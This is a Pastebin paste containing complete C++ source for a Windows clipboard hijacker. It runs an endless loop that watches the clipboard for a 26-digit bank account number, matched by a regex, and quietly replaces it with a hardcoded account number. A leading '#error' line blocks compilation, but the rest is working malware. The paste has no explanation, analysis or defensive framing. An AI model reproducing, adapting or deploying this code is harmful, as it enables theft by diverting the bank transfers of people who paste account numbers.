Advertisement
Guest User

Untitled

a guest
Jul 24th, 2016
412
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. #error DO NOT RUN THIS CODE!!!
  2.  
  3.  
  4. #include <windows.h>
  5. #include <regex>
  6.  
  7.  
  8.  
  9. int WinMain(HINSTANCE , HINSTANCE , LPSTR , int )
  10. {
  11.         while(1)
  12.         {
  13.             if(OpenClipboard(NULL) == true)
  14.             {
  15.                 HANDLE data = GetClipboardData(CF_TEXT);
  16.                 if(data != NULL)
  17.                 {
  18.                     char *text = static_cast<char*>(GlobalLock(data));
  19.                     //printf("data not null \n");
  20.                     std::regex monies("\\d{2}\\s*\\d{4}\\s*\\d{4}\\s*\\d{4}\\s*\\d{4}\\s*\\d{4}\\s*\\d{4}");
  21.  
  22.                     if(std::regex_search(text,monies))
  23.                     {
  24.                         //printf("Found");
  25.                         const char wosp[] =  "58 1240 1112 1111 0010 0944 9739";
  26.                         size_t size = sizeof(wosp);
  27.                         HGLOBAL newData = GlobalAlloc(GMEM_MOVEABLE,size);
  28.                        
  29.                         LPTSTR stringCopy = (LPTSTR)GlobalLock(newData);
  30.                         memcpy(stringCopy,wosp,size);
  31.                         GlobalUnlock(newData);
  32.                         EmptyClipboard();
  33.                         if(SetClipboardData(CF_TEXT,newData) ==NULL)
  34.                         {
  35.                             //printf("Copy Failed");
  36.                             GlobalFree(newData);
  37.                         }
  38.                         //else printf("Success");
  39.                        
  40.                     }
  41.                     GlobalUnlock(data);
  42.                 }
  43.             CloseClipboard();
  44.             }
  45.             Sleep(1000);
  46.         }
  47. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement